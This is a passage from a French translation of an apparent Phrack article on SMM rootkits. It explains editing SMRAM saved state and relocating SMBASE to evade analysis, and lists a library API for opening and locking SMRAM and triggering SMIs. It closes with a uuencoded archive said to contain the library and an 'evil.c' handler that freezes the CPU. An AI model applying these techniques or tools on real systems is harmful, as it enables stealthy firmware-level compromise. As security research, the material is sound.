- Offset: FF6B DS Descriptor Cache (12-bytes) - Offset: FF5F SS Descriptor Cache (12-bytes) - Offset: FF53 CS Descriptor Cache (12-bytes) - Offset: FF47 ES Descriptor Cache (12-bytes) - Offset: FF3B La zone d'état sauvegardée est stockée de SMBASE + 0xFE00 à SMBASE + 0xFFFF. Modifier le champs DPL du descriptor cache SS de 3 vers 0 donne la puissance du ring0 à notre programme (et une General Protection Fault dans les nouveaux processeurs). ---[ 3.2.3 - Relocation de code Le SMM a la capacité de reloger son espace mémoire protégé. La valeur SMBASE sauvegardée dans la zone de sauvegarde d'état peut être modifiée. La valeur est lue pendant l'instruction RSM. La prochaine fois qu'on entrera en sMM, la SMRAM se trouvera à cette nouvelle adresse. Depuis notre gestionnaire de SMM, dans la zone de l'état sauvegardé, on peut modifier cette valeur (à l'offset 0xFEF8 de SMBASE). Pour le faire, nous devons faire attention aux ajustement de CS dans notre code. Il peut être utilisé pour reloger la SMRAM dans une zone mémoire de notre choix et gruger ceux qui tenteraient de copier la SMRAM pour l'analyse en utilisant les valeurs de SMBASE standard (de doutes façons puisque notre malware verrouille la SMM et libère le bits D_OPEN, nous n'avons pas besoin d'utiliser cette technique). ------[ 4 - Librairie de manipulation du SMM La librairie de manipulation du SMM jointe à cet article fournit une manière facile de créer du code portable pour manipuler les registres de contrôle de la SMRAM. Elle offre les méthodes suivantes : u8 show_smram (struct pci_dev* smram_dev, u8 bits_to_show) Est utilisée pour tester si des bits spécifiques sont mis ou non. La structure pci_dev est optionnelle, on peut mettre NULL. u16 get_pmbase (void) Utilisée en interne par la librairie pour manipuler le SMI-enablement. Exportée par la fonction pour faciliter la tache d'un programme externe voulant vérifier les offsets de SMI_EN et SMI_STS. u16 get_smi_en_iop (void) Retourne l'adresse de SMI_EN u16 get_smi_sts_iop (void) Retourne l'adresse de SMI_STS int enable_smi_gbl (u16 smi_en_iop) Autorise globalement les SMI int disable_smi_gbl (u16 smi_en_iop) Désactive globalement les SMI int enable_smi_on_apm (u16 smi_en_iop) Autorise les SMI pendant les événements APM int disable_smi_on_apm (u16 smi_en_iop) Désactive les SMI pendant les événements APM int open_smram(void) Ouvre la SMRAM pour accès (met le bits D_OPEN). int close_smram(void) Ferme l'accès à la SMRAM (retire le bits D_OPEN). int lock_smram(void) Verrouille la SMRAM (met le bits D_LCK). void write_to_apm_cnt(void) Écrit vers l'APM CNT (génère une SMI). En plus, le fichier inclus libSMN.h contient les valeurs valides à utiliser pour localiser les registres relatifs et les bits pour manipuler le SMM, comme les périphériques, les bus de fonctions et les offsets. Il contient aussi des définitions spécifiques pour les bits intéressants dans les registres de contrôle de la SMRAM, comme D_OPEN et D_LCK. Nous avons aussi joint à cet article un fichier libSMM_test.c qui montre comment utiliser la librairie de manipulation du SMM. Ce programme va, en gros, mettre et retirer tous les registres de contrôle qui affecteront la manipulation du SMM. Il peut être utilisé pour tester si la librairie fonctionne correctement pour votre matériel et puisqu'elle va aussi tester le bit D_LCK, on doit rebooter après l'avoir lancé. Le code evil.c également joint va utiliser la librairie de manipulation du SMM pour insérer un petit gestionnaire de SMM qui freeze le processeur. ------[ 5 - Utilisations future et supplémentaires On peut apercevoir le future, mais les rootkits modernes deviennent de plus en plus des cibles, ce genre de hack plus profond va donc être de plus en plus vu. De plus, avec les nouvelles plateformes d'amélioration de BIOS, comme l'Extensible Firmware Interface, tout ce qui dépendant du patching lors du boot sera plus facile [9]. Une autre chose importante à noter sont les ressources de visualisation qui existent de nos jours et les quelques possibilités de les utiliser dans l'implémentation de systèmes de vérification d'intégrité protégés par le matériel [10]. ------[ 6 - Remerciements Beaucoup de gens nous ont aidé pendant ces longues recherches, qui ont mené à la publication de quelque chose d'amusant, vous vous reconnaîtrez. Merci spécial à twiz et au phrack staff pour la review géniale de l'article, nous donnant beaucoup de commentaires important sur la manière de mieux le structurer et lui donner plus de valeur. Enfin, un gros merci à Julio Auto pour la review du brouillon du papier. BSDaemon: Organisateurs de la conférences qui m'ont invité à parler des mécanismes de protection dans le SMM (yeah, beaucoup d'amusement dans une culture complètement différente). À ma petite amie qui m'a attendue (toute seule je suppose), pendant ces voyages. RISE Security (http://www.risesecurity.org) pour m'avoir toujours motivé à étudier des choses complètemennt nouvelles. ------[ 7 - Références [1] - Intel Architecture Reference Manuals http://www.intel.com/products/processor/manuals/index.htm [2] - Loic Duflot, Daniel Etiemble, Olivier Grumelard, "Using CPU System Management Mode to Circumvent Operating System Security Functions" Proceedings of CanSecWest, 2006 [3] - Branco, Rodrigo Rubira, "KIDS - Kernel Intrusion Detection System" Hackers to Hackers Conference, 2007 [4] - LibPCI for Linux ftp://ftp.kernel.org/pub/software/utils/pciutils/ [5] - Intel 82801 BA-I/O Controler HUB (ICH2) Datasheet http://www.intel.com/design/chipsets/datashts/290687.htm [6] - Intel 82845 Memory Controler HUB (MCH) Datasheet http://www.intel.com/design/chipsets/datashts/290725.htm [7] - LinuxBIOS http://freshmeat.net/projects/linuxbios [8] - Bing, Sun, "BIOS Boot Hijacking By Using Intel ICHx "Top-Block Swap" Mode" XFocus Information Security Conference, 2007 [9] - Heasman, John, "Hacking the Extensible Firmware Interface" Blackhat Las Vegas Briefings, 2007 [10] - Branco, Rodrigo Rubira, "StMichael Project" http://stjude.sf.net [11] - PCI Specification http://www.pcisig.com [12] - Shanley, Tom; Anderson, Don; "PCI System Architecture" Mindshare Inc ISBN 0-201-30974-2 Publisher: Addison Wesley [13] - PCI Database http://www.pcidatabase.com [14] - devik & sd; "Linux on-the-fly kernel patching without LKM" Phrack 58 100 % ------[ 8 - Notes du traducteur : NDT-1 : "processor-bridge-dependant". C'est un périphérique qui fait le lien entre le processeur et d'autres périphériques. Exemple : le bridge-pci. On a traduit par "pont", qui rend bien l'idée. NDT-2 : le pont nord, aussi appelé Northern Bridge, ou encore Graphic and Memory Controller Hub (comme dans la vo) est chargé de contrôler les échanges entre la mémoire vive et le processeur. ------[ 9 - Sources - Implementation details [brazil_SMM.tgz] En fichier joint, une librairie sous GPL qui va vous aider à manipuler les trucs relatifs au SMM, accompagné de quelques programmes d'exemples. Des mises à jours seront disponibles sur le site web du projet StMichael : http://stjude.sf.net begin 644 brazil_SMM.tgz M'XL(`-M5[D<``^Q;VW+;2)+UZU3L1U3HI:4(FFWY.MU^HB3*XHY$JDG*;CUM M@$211!L$."A`,O?K]V1F%5#@Q9[9F-Z(B5C%],@B"EE9>3V9E9P5T7\GZ7]- M[NY^?O%G_;S"SX=W[^CW^8=WK\+?_N?%^:L/']Z\???Z_?OW+UZ=O_[PYLT+ M_>Y/XRCXJ6P9%5J_*&9%E,WSH^M^]/S?]&?6Z#]-9G^.#?SS^G_S[M7Y_^O_ M_^)G1_^WR=QDUOQK]R`%OW_[UNM[Y_?;-^=P=NC__5L8Q9L/KTG_[]^^>Z%? M_6O9./Q3ZS_/R^^M^]'S?].?O_Q%X^?3\$%_Z@_[X]ZMOG^XN!U<:OS7'T[Z M2A;@Y[,I;))G^G5'_V>5&7W^RR_G2NG+?+,MDN6JU*>79_CPK[]T^)&^+HS1 MDWQ1/D>%T==YE<51"0(=/E)V]'6R*%?Z.LWSHJ,O MUJ]>GY^_>GG^YM6YU@^3GM+])U-LI@8JW2^T.4*;Z;B`#K.Y]7:9.``Z_5\%67+)%OJ MI"3R65[J*$WS9Q-W%23$(KHO3+2>I08RT=.5\92L7N2%7H-S;;TPZ+_8V&29 M"8=E]!4?/D=;OVHF?*\_SR)9:LB4];81EM M6A\'6]!:/BC$`AZMKBS,I4N22*QJLZ8]:]%FDT+XM#G+AW5@VH:C&L/YR082 MS/@T4;;5.=XI]*;(ET6TUL^KG"A7Y2HO+*2TAAU@I:JLJ`\LG4[RM7&O'3/2 MUN'F.[A_%B#RYKUG^7-.-+0ACEL0*QDKAB81I,G9UMXE0(L;)I.U7>9235@IRW((/ M**NZ:BKOM':!2]LT*IGXW!1EA`-CQ08/DUF2)F7BXA!1%HFJ@QH-)=DACISX MUWF<+,A\6137>&"^1>M-BD5NQ4%RMIJO=.1%#EFM#+F=PE]EPB?FF*$7!H1X M'Z1CO4R<_<$Z$I#*(!R**XT46*[D1IILM2M>QN_NF#->V;*#=6I3"\P+3U5@ M>:#3@TG4?-@53`)KUMX8D%4H!C%5,1C\*RF45PWYL#ED);![9+'R&3HMS<;^ MJD_/SS@O2>9L2QUFJ4Y?GT%^\'-G)D%F>EXE$"K)R/+#U"SAYISQ+"=HE_(Z MH89!\V=.0ZS&<#_FNI=:2(AT82+2&(=/Q%MW%*)*SH(#B<&S-WJ#=P:G6.#& M9^&*#!?8*HMMK0H)IUF.]PO*0EO>DD_72C90Q&"QEV.8^83C,#Y?&]K%I%:2 MP2:R%H\('3P;Y:*%#2T([#J5@9EG;QQL0#ZGTXXY5))D4=K!'G(D2C(0!%+[ MFG-ID/?L*"355RAA%SN:;'Z;;#FX3A MB5@J5X`42-W8"^F>9%DBA?#I77+4KBBIC2^8P#B6Q2XQEX?*8-;'/.WL9Y:-60P6^D M(0-0O>VZH`F;('.!FMEX6.+K*"8PH^>IB1R'$($[D+C?K,90L9BF,ZV?'-R@ M*(^/2>[UNHB!6==CL`WIO_9 M5_V'^B%>QM-I?WPWT;WAE;X<#:\&T\%H.-'7HS'^O'\<##]U]-5@,AT/+A[H M$2^\&UT-K@>7/?J`F'_59>1T""HY^'O!.C9 M0'`=Q9BE9I_30G`&XI[C'FSRA(\RB\2;>6=/3:T-\IPV"1\Y>$(TB"Y839Z@ M,=@74Q'FFP.GT?.OXM,)\X*38UM9Z\3FS+E%66_R@LV`P41'.0;J&H).0/$] M-!GK0VZ=FV.*'71^UIA*X9M5M"21G=X@,B(0+"#B3OT";D=8\SY36C3\+=3PAY]BF4.\_@$!?%,4`!NXG5)\@=)W"4'L+[DP"$W,F5 M@-4QOV@=DL$D`<\&(8MU.'/X*"&645E5VH1='AD4U+VI1!0M%ZJHLCW1NZ#L MD8Z).PZQ,37$482!?!V^H@*PGF<$MQ>\(>F6+S3GW(.#>2"YR.,.,4^C9`VI@&F?^3_JK\9L MR"7(`ARZ4_*:]1F+\`^5QZU(*)4?'3Z:69-A%\IE.%M-6M$:!I%-?1@`@;;H M8`A\%!_8W#XJ2G-H5W!;LQJJJK4DE0Z#5X=C$&I76POG2)U=BS/[]#,EO.ZL1R'[YBBG*HX;#`^8KK(IB2R M847%>7$M[!X-Q1V72\5.0Z#)H;T="%V`UP=2R<0=[EQ%,_CM`;N$:0!PKXT1 M(Y%36!/D\5\5]Y*BLZ8(F$>5E0JBQHR+))7T.8=L6;`X([FW,SFF82FNLD_[ M&I/E+3%'*/@(%%.UY0Q/5G6%C]D>'VR;)(":;"`O",=YEBMM$=.)S#.2,S]E M`%:4=5KGSZRD.CK73@ATBF4:_![#[GQ!15`+42%&1&Z7B*3@[9E2%'MC4L0U M%3*@8TC`IWXY_OS,0_=:]#[19[`KQI5`M;'T9K@ZH/94$5$:0IQQAT>@18`- M:D(1)=DH/Z2F+:54'X7)(\CT^/6`((/$)',,48^IB)%I"XH67!B"NX2"?$%* M`5`B@Q9[RK*\0G2A)J!+PNP4K8BG#T:\B`FX#X[7/J>$:5&_=#P"J^W#>8'P M4;]PUC0LN+O&'A_`>K%X+VU6%U/8=1B71DV:^OQ%Y#07N[E^2LSS3DQD*@W" M.^U_FQL.5[]2@FVE[-*:=.%[CEX'X(U)4*[CE%Y;@@A?N@192^0="6*M".1/ MLX\0_EXEA;1@A.(.L>X9D+OOF_#:M305N"?GLDEMK[QGXQY1R@# MM36N\<("HG*27Q$P=-0U.YR7J/@QJU<@D8%(\0&=]!B:^!]9&>T M@75X;PT9/U$=5I(GA#XHFB7$PR[:H3X6]ZJ;<^9(;37[[$H[`8G['9'=V9J: MSE59OZ!VC,Y&ZT`J>)M##]>8$F*D-$EL*ZFHW:3"@34$G"YI"0U?%+JW?!12 M;0E(`[AIATB=)R#`@V'4$-^H)>Y4KTBUA=O&@\R*LX6T0_`!%Y]RK,(LHR)& M,F#]XR7]3&E:FF-3O-@)K@F(4^Z_EW7`='+B9$3`*.C_,5"UI0I;1U@FU5U! M-QI```)0K/"Q[^`.PF;;--4I1S,X\Z9A]>:4=0Q M$(5@0"TSYU/2TH`$&OS4FR,G;PBNP'YK;=!GJ>%<5TA/F1/A&IX!!/62DCDQ M*0"J*4(ZSN>]UP9-A>\@0.P@IWRYJ"6KZ,B@?U7OC'4-`DIZ0@:^P@1 M=FI$MG^RJ/8GAMP=_12EB9"#S%)$YY+[;W*NK8D*OJAIR@H&2!P0MAT'R!V" MRN@Z2QK0F5SH,3!R-UR^0J#L9PJ/M9W@0GOM"X_.4D_PL=S(]95Y*1""12!#4KXU.7F%E!DOMW[J&.')DP"G?/HA2\ M9!+/'(QQU[;2'EAP^S`C)$J1$F7;7KO#MQ$HZ='[-7\AUOJQ\_)Y:X`:U59' M93GD4DA[1T^JF<\.,Y$^H`LAE]8%V:()*M(1$U[X6E#4L:XS)RVBRSC7J6U7 M9I`GWXA><]$0,BT=N=KU97?%N\N6_CYFCR]\CDTJJI62IFI!99=6EBN3R-I\ MGOB&&%P@(L,WBR1+I-=*=99;+W&X2#9RHTP)6_G\10/%/Y'0"=LINS&L<>/!;&?O/*&[\!4?90W7CZ/;/+XR@F)XZ\P8Y,*-+$4QL_<"15R M5"%%J]W:$M"-FTP4>-OGITH)4JTRQBW,<[V5:V])#D%WMH(:!. M$"OP`+JM<7TR-G3PIT"=MW8#&8R.(W<5S=;`;6J':OU;FN`Z0C-QN4-@S_H\ MW&8PRL3PH&*<;]4A6-F*DG1)0?BX6JZ"V)ZX&W-I\VU#C5PNH%RJ]^$\@"IT MFTD-)EC%IE2,<9X9#>9'MS^^.\5/NE<2&^2[HJBB-%"Z9$99)"%%MNX]#["E M:C_T`B8(S9="=7"5GA4+PU^SLWHI0WB$%O0$Z_LW/[F0%,WX3`=2#=-&%_RVJ5")+FD0H'AGNO1/5^?(NK#;))#?E3@UF$VI*^LMI-ATW M;L'!MCX^@6(V<;K#7%*)+VW;]E6N:^DAA!]1#/6#2KM[]R&S-U3Q1KXJ*_B2 M;I7,DE):]6GT7-_>NT)Q_SQ"!\DEI[OIV58NQKA?T0+8.\W[4]=@/-ID/Y/F M#ETXSFNKD?TCU]1MZ;AD`$O7U-1Q]&-&_\S%GG!)FRUT]]5PU\K8 MLXX*K)#!,,N1#8%LY]3-O]"AA"L@/T8D*)?]QDVD/O-YFD;]X":E0_KU%CL^ MTI'K-O%E2A?4_*1]Z]1X_%T9N7#S3_1ZV-//'1JW-+4#\[+)NDKAID8NB^0" M`SEDZ7!E$_55>&T33.L9Z)+;[\%K+O7O*9&@MS?,([[GKOWW)Y,BK]UZ>B:O M4@%R,B.JBWR+,F'[DD<*`N<.<(+?!<%/8&_.8SAY?<'FKEABI(4YC6APV[[^ M"V4DHPJ<0X[(D8<+"S?R2<8`KKQX9Q`2@6=I1(5YCI?-*!C2C7I!2:MN![&2 MO\.^8+C@TF>O(85_KDQ*2%J*89JDR\0I#:,\2;U,@IQQ7J41(FU2S*NUY:@M M$6X6I4T(-R'Y8!)525/2WZ?X1<&UQ,[DJAN@S,2$5+@MW:`.6BVW355P!#O0 M?^2_Q^F#ZQ#9C%=3HAZEN7?>,VW5^4,_UZJ1QD)1;=QNDN)LM*S^V M-U]%KJ*ATP4<^EL^-TE#AUX6CF+IQC";`KNE8@']G;J_JA(R?8HDDN(W,I[A MK7_#+7D2F-9WK$>38WTSDJ.6--5"S10!+_-)'UT2M-O5U+P]1_1SGF2@@1O:) M>;*41ZVT7;'-$!CD]-YJ%M2\>OZ:8.28E/&3>E["A4&7"240K_*$,>%TQVM" M,^61.&*4=J'N/@\X/;LB<08QF"=Q@)G9SU:256VY%YZYB/AKUU^N[?8I?G93 MKSL1*['!^`1='_CA4"Z,"@I:KCHE6VFL?[9M;K;".EUB=`-']F:)*"IRZ65; M?.R7`1S1HSB6O@,9`=2]-+1\L^(;]-81@Z$7Y#6YBU,2B.NC=&0T,RK;K[:^ M#B#MG(Q!P!JE@&H$(:&CLFX#$U-*S.1R:AY)=@UB,4!^#@^F*Q++`3U@$7X. MJ_0-1G?].,OCO2D#!B^_='D2YN@H.DG*3U\4YBGAVUM1.0TU/\GW,JQRNC\R MDBX8@%`LN1-^XW@3.EM(@YV'#!,9/J'@#M[M)BEX;-VWF2PYKGM#OAY!'`)W MTN@"7H@-3"SE$"\#1[Q%/4$IUQPP1!Z!9'#MB)&JJ+]*_492(71YSO7Z':]#`WA[Z3(:-+K[H>//H9U,`[&"OLS9_P+)S$WW`*U;K[NY8' M[X!JL32^(R87,^W\H-P,/<'WII)VT+#.`O5]9!CF?B#YG>V.^>M'_@I'OC;D M9%9Q/JB;C+:>>'9?TZ`DQG+G'@8\#R8?-[S0R/@RCU+V;O:]XLF;G<`"A)Q* MQGGQ?M,$X(_\-WQ:WYL12ODZKVMV^N:/S#;$"#`NC=2O+"6>I-OFJT[#D?[2 M&X][P^DCZ_^\JR_ZE[V'25]/;_KZ?CSZ-.[=Z<'$3\5>Z>MQOZ]'U_KRIC?^ MU._0NG&?5H2T:$8V((!5(_Z[__NT/YSJ^_[X;C"=@MK%H^[=WX-X[^*VKV][ M7R#-_N^7_?NI_G+3'ZH1D?\R`#^3:8]>&`SUE_%@.AA^8H(TB#L>?+J9ZIO1 M[55_S-.Z/V-W?E'?]\;307^BP,?GP57[4">]"=@^T5\&TYO1P[1FG@[7&S[J MOPV&5QW='S"A_N_WX_X$YU>@/;@#QWT\'`PO;Q^N>!#X`A2&HRGDA).!S^F( M1>/7>NI@!O3577\,^0VGO8O![0!;TN3P]6`ZQ!8\7]P3SB\?;GLXQ,/X?C3I M4_^&1`@B$/AX,/F;[DV4$^QO#[V:$*0+&G>]X24K:D>1=%S].'J@K(%SWU[1 M`N47D*#Z^JI_W;^<#CY#O5B);28/=WTG[\F4!71[JX?]2_#;&S_J27_\>7!) M8+.>W&Y;!8RBL<[> MQ8AD<`%^!LP6&"&!D(JN>G>]3_U)1]5&P%N[8?*.GMSW+P?T#SR'Z4'7MR(5 M>-%O#Z1%?."(Z![424NWYYVNR]8W]D%[>C"1D;-IGV M-'.,WQ=]6CWN#R$O=J?>Y>7#&*Y%*^@-<#-Y@+,-AJP41>=E;QZ,K[P_L9SU M=6]P^S#>LS'L/(((B23;6JT0;V23LP[;@!Y<8ZO+&Z<]W?+:1WT#55STL:QW M]7E`D4?V4?"%R<#)9.0H.#ER8.-OG^)\O/[``#_-_M.2&QF3ZG$U*AW6*>=_ M?/A(`7<(L..RG"4+=IDQ1F)-\PV2LT-#S1QE\/TV-Z7GDN62O_]A2X4:1-ID ME:WSCY1VKN*FDH&:"=R37E&)(:!'YMPY!R6E:N<"R8'U%W9H,*G5W`R^"EI? M%OOVH?]&G&_)EF7DKIP::%0/\_Y/>\_:U$:.[7QU5^4_*,XFL5D_,:]`DKT$ M/`EW(%"8S.S>.UM>8[>)-[:;@L,\@7!`^ MNS?29@67=U]>TP)G8W+AP:ZH#_\C*5+H8J>L_72'S^OK0![N\V.IMA*7'DE` MY(I#GGPTT!D;'2BZ$<]U())T@GR)]*3VRF/`(,!SN*RAA8J[/@?9HR_@R.^P M,U&'5@%YA;^FONSXZI?HB?`:(%`7>.K3I>@\JE M$R[:V$7XG`;B+G!,MUQ:)XX.,$H0Y&BJ*(H7Y2Q?#AT5Z^:Z#API+#^1Y(ZE M>X1AQ@QHN8/R+*SUM"LPM0^'^9=N']#O.!B52#H"TTD$]6C,@LFW@.,L\;KL MHJ_:Q!O#B#@@$&[_P/D&0U9\6OX:EG]J2?%'%5;204).M$OOZ; MUO$AW#T._V'>FW=H3;2Q3SR,H5^'PK_`@'W5JN7Q5W:\666%)D M8O39<9\,*](6$L`CP[&/.LX;5&^@Q8WLP2"ED7[!"'V*14U&,K&>GO;_N>N, M/.BRW`4,/I%:8^2.9T`P=^27R\C)293V9P.VZ^J(?QE#(@=+KGD8C$Q57.`H MW@TT*ZBX=^V,+%N/W$E1<"3WQ/%1@!^RI6/,_NQH:L8PND`U%P3@Y(,X%77_ M&/2=,0;*^QRO^4[ZJ7?0B^)R"(<&^5!1&URF'&WQ#^_&Z]V,7;7'\4P\O]&` MV#LH0(!V"-Y0)`N6P*&C?QGK_#F:Q\AC$':CSP&]OI!^*N@&XQ>U2@V`_3=B M(]YUNI_<";'`E^Q(@J'?L$K.;F"G>>/7)5&'N]ID,*34)'AIX1-X'M:BV+M!L%&@Y)@=81CYG^+R?ZTW-BG_ MU\;Z)OR^UOBA5E_;W%Q[Z/Q/?\[\7]451^!_2M08NGV^F:S6:EOR.:7%@(O( MWL?.#$X<][,H[-?&\*P&5_&7'7Q7Z>IW*V.O=;)[M"(F5]./Y0X(7>ZXTG-? MZ\Y.O1Z<"YXXG9T/)AWQAN@J"F]:^QUWA+?[EQ-9(^AJ`&>!VYVA5;3B32Y> M!TC?2>:1?>CL)K>2>F0GZ3KS>7*/["0D_2PD^2228D'I1[:6,M`MY!_9@2$% M+2,!R=81.6@Y&4@3X=9RD&ROYW5I24AVD)CRK"0V-M?%$=QKQ"Y*'7N=$4C_ MO0N7Y!\0?QHO2K(/D'_DD*J.\V30AU79%\"8VS]^>$^ZT5;[G?.$G*;=R'-H MP#[*XN5E=U"%_RL?7QL/_1N_.O#@&0"JKL#*&!:*)91]X*<@B`X\_MP9SN#& M$X1%'.R]6R_AOXTCK*2@'Y[LO6GO'Q_M'KP7A=IUK6B_>?.A11)\],U^\V?Y MIMX/O<+11!JUC@[:S??MXQ]_;#7/Z&4C]+9UUE*O\>U:$<=Q/F!)C9NS`Q=< M3XLX!GA]=KQ_3-=5JD?*'9Y88XB[)T=["/K-P9D:2UV\?"G6BT1`:"G61;DL M?+C%PP]J3VHO:-C>>W_&&XTC6`&-)V;?;]\]&=!\OWU\$I#%J+-AUMD[;`553.(9=0[W?HJKLQ;4>=NF<34CD]`( MZNRUW^RVFNU6\^UJ0$RLLUI$6F+<#-G_C6$&3>IVD_H"36J1*0LUP:V+._=@ MJU$S5BJ,PUBG+VH$"JKPOD)WX.3*/:Z\`5L13HX+$!M`!(1V`AJ"4-YW=-.C MYA%LL8.]ILA7>^[GZL@=Y8.7NR)>H'?0A"FH"8%4QPXZ>&>T-O[!^];9[OX^6MI$05;\JZA=;U'%^\)DMD6* MB;8_@F.@`"?KK`O"8'?0!N*N"'J*OX+LM$5[JCWUVMB@N./,ZALHXKN.I/QJTW7%[X%W&O?&A)^,5>H?)[4^O+\Z'!:P>=`*5L`X<_O,K&1UY MXW;GYXJM\B ME\,#$GDV_JQ7!'G@A1L(>6[2AL#9#9V0^/9;W[N_EQ*2_XXZGUPTD=PKC/3\ MOR@`KLG\OYMKZ[4UE/]JF/\YR__[]IR,*J'=VHY_9@Y8/R<,E=2GD1/ M*D\_N2K,#N0&C`C!L#(I+OE3YXG6=#GH*;WMY"ZZ75'^!>N7?W$G$P_C`XZ#'YAAJ3$96#?F"6_,[U:8:5,IQ2D2L^8?@,?'ZG^Z]PDC7_]0W M&FL;@?ZGL<'ZGXU,__,0)57_(\1]:X!RF?(G4_YDRI]%E3_"5.;XTQZI;>;H M=_)*AY^_@\SB_,?)&=5EZ/7*)?RR8[WIX7[7'<'__%``LAUV+5PQM"*)!H1ATDL.GF!^@@+7@12X7`2G;HM@$ M3ZEB2=3T?]CH"X?:1IJ^TD]V'`W3PEIVCK)]&P7>0J2/DB6J%XV.*"-5OY#? MXPY9L:85-=L@ISZMK5W_BM[F%LPBDZI@:V*>V?,DD'(2@%5Q6SSM49\%>R#/ M;,U.4?Q-U,4VT4=C#$`-U4X*Q*!6,KB@3C(LI2)*!24KI4&259(!*3U3*B!9 M*0V0K)($R%)6I<`RZR6#,VLE00RKOE*`AJHFPPU5G`^ZOCCH^J*@ZXN!GKLY M0E47`9V\02;N=#89AQG;%R=6T2.6XJ505E`'3F<#O`;^"=W729^[BG\#A/-. M;P*_.K$\,\HKG9SN,)9)&AK\DE;:E[22OA3HY+$WQ";"#C4`X+37:T`KU+I@ M%-UP,)Y=Z_0E/4R,-_&KF"BI>M69=C_VO(OJ8.OZNCWM>B`3KE0)P.H<`'5$ M!*D`]0H%:L`JV]]%@?![_5IL%HNDKF9"06P&AUB@G M)Y>);,QI6$V'TVIKP4IB.KI$K@T_`#-C(2"^03UXAS7^:ILT=@+80=4(!I8Z MT$1!OIB/@ZQH(1%83D)8R,J$QGS-(^'36%6/@@/?NQP6&G2@F:\`!30^V6I$ M//*L2L]"-A*^+L#T`0)R4N#VZ9.%!->/0K\6G/C8@.Q;5L>_ASHNV0K-W`*X M+HAL"-N!@:S"MHX`#71#33@:%5U5(RW+W!0&"PA!JROMWSPF![2)R\[5`Y_: M&:WDG,[1%#_LI`*6O,9Z)3-U'#WA<4(&ER9"2S(:`:G&*Q6]Z25S%[CR8?/IV#7\7BKY,%L!C^V/:R")RQN_F MF&AYARFV*,GDNI]'LC2:+46T-#:':D6Y_,D_1>T#!IP(+(D+VALAWI2<;868 M:8TL5:_?O]-R!=;\;==K5Z=MDF>G'M&M%F\LGY>KU)_1&L+POAN!M3%M2`JT MN2=":'ZLP^&V["JR.^(<*NYO;Y3H4V;?Z3[)!;A!L\B>!GHB82B=4)^_%@9_ MRFL(K,3'*?J]HA!WX_&Z(XD)93B;3BA0=S96>"$F=]F9!I3AAS`4KQ"<(%KB^O>*,\1[^N M?K]D^'H5L9-O;67]?HMA_\L_&_Q_F^O]L;*ZNR>^_KS4VZ^C_TUA; M?7#[_Y_3_P=WYZP_A.TGIU_\FSZCJCZ&HKX^X8W%(>ER5ZKBD?,HQBQI/IN- M!_`X]!">#`?GD8>8>B;\\,:O8N!FZ'$?-OXPIFH$O#N9C/G9HY`[K.$+BR_Q M,R`3^HSP1'P$AC1T)__[SQ*(KCW]UP[60T=QZ16+]GC8+:HZT..1T_%'HO!( MFP?RE5YGVOEUG#6Y+A)[^TOM&D[\IX12`CP"U_,U'%5PJ;;@/*O%=C[Q1Y$69M/6 MU6`*4O9Y!X[BP2,G<&#.![.PG38-E2FLGIA);JS2PZ)<.(_0JG\PIC4# MMW+CB]7"[Z!K0O/@1-J$5?JZ*STGF",+UAO3EGKJS\:4=K!"?]&B5(_H<"6% M@DJHAVE!9:ASN2SS*9)O.F=NQ[3AE]Z8>@INO0HV)8Q#K)%`!`ZHSI^6173H M`'[D_.=1Q-#]H\*'7/$T*,:`LBP_!@HA?51+]QINCI0]I&FDHT(';[6R84_7*57W;-E[%(XUSH4(@"$,UW+]@+I5*I MJ$%8F!]U+JUC@SY9@-$,N*K*Q_`3>"M_!@CSH$N^ZE_B5PSL:18%4>CW8/4@ M$@4^UDKBN'VZ_\MID29?T.R#W$(>MP7@6U@U_T`S26@]]35*M)08S<2IY5'Q M1H21P=E_67C_X?"P)#`PI81)HL[:I\W=?1"JZ'=,ZM5$UZF3=NO=[FESOQ1% M4I5^#Z>5"%T$TKQZ1)^I5T![!`(BOP`USO M.CWY]9XR?9Y#+4;EC&2M-)B*[N6-G)12W"6E+'_.W2X*<>K1VB])V^74Q:1, MKK5EH+D'DC.&(;%.Q&)^H]D89TFARP%-BW)"V?B;3#'#MM5.ZM"%)2 MZ2.VYZMSD9TR:#/)"V!961!O*X^9LM6P'L2\SY@H\ZT)K\+&5*_(JQL`,I]6 MH\C;EZ:Q9U^<<$W.)F[BM+!&EI'_3/G_\V!X_\+_#W/]_^L;MID5;YR1="6JD"L03?Q8DE= MV(J&:%!*D`S"8Y/Z1H8H+[DA6FGU)5?B*W71GHR\F2XI[RRD2J0[6YE$OPM4 M^*AL;*@_',"BFY`I"+6-^`265AZYV6]N7J5-P_L-M"D+3$;W:=#K80K['<(, M6A2D) MMR3?M\D$K50*7M1G5MW0FM=33/.(G$1*YZ0A.Z%\`QS&L<5A'*HOTZ-JX,F> M#3=BVR/7>*^[)`K`H$9"ZW6,>$"-6)$":O0ZWQ?%/"F$]*>SU'9X.]CI3YY7* M;L&)_3%[!_1+%`X36+H1VNC-HZYTN;L]:=,H:_CSW1]IS?P^2],VB#!9%AN' M[MZYL7?%,C6=]KF@0ROW"^`%_7`O4;M]B#\"FD;8'RO2S)`NPS.!?E=Q4[14 M<`T8#H>+3+G1M9QUD+1_=B?J4X0$#6-S%EL%8NXR"`#*'N,GUO;C@X85/:^T M)8Y_*E$Z7]<=T9>-X%K,V@TT-0`)*@(G1_E2Y0=C_)!BGC2T=(CC+=[%L9)/ M!)L9C'/,,B_@-(75M@=[3:TFE;ZU4(7);#(85'LCG9_ZMG9*1S$9W4DUE4BD MLA-/5JG2?NK;'1)><8I9.X/00BI:TL3:^7K4L!4$4S<;(L*>UL*@NDPJ`S$- M49@8Z100R220"8[P@[J>!""75Z!4M=!]_&H9+6GB>$@ND3<^!@MKBB`O/P;Z M%&'/[DVM^*B6U)Y$I2\5N5@T)U(G*\ETKZ27ND6C:V.;\B>E:?/A@4)\B81Z MS.3,#:<>R@T&\T35*&X9VL^*G-HEC5EYA$<:3HB27J:_:3'*`(TY#%2QUI&7 M1HKEL+&.!3GNBC&UAO=?*J;D=+8LHC9P]@2K&%.$?%*J7.G>1AYMLHW4`O-L M'!B-KDBF.7=9RD87-:A3Q7N*\GD,7TU MQA,MFR&)66H#9B?UML;ZB^/)W])!S=#_?I7<3UCFYG^JU:7_U_KJQD8-_;]6 M5[/\3P]2.)U1H=L3%4H`))X]X]1*ZJ?,F%2,R^7$%@/,Y(2_B?(0#2+E0]E3 M>7C9'<"_OR6G@6JCM8-[(+O',CUH=T6"SW\$R9MB1D2OBBIW$V$L/52X;S M__Q![#\Q&:"TK2;9,F%KVIVPIIUUP"#D2F5P6`&N+[DB?_P3Y:`V7F_+YG"( 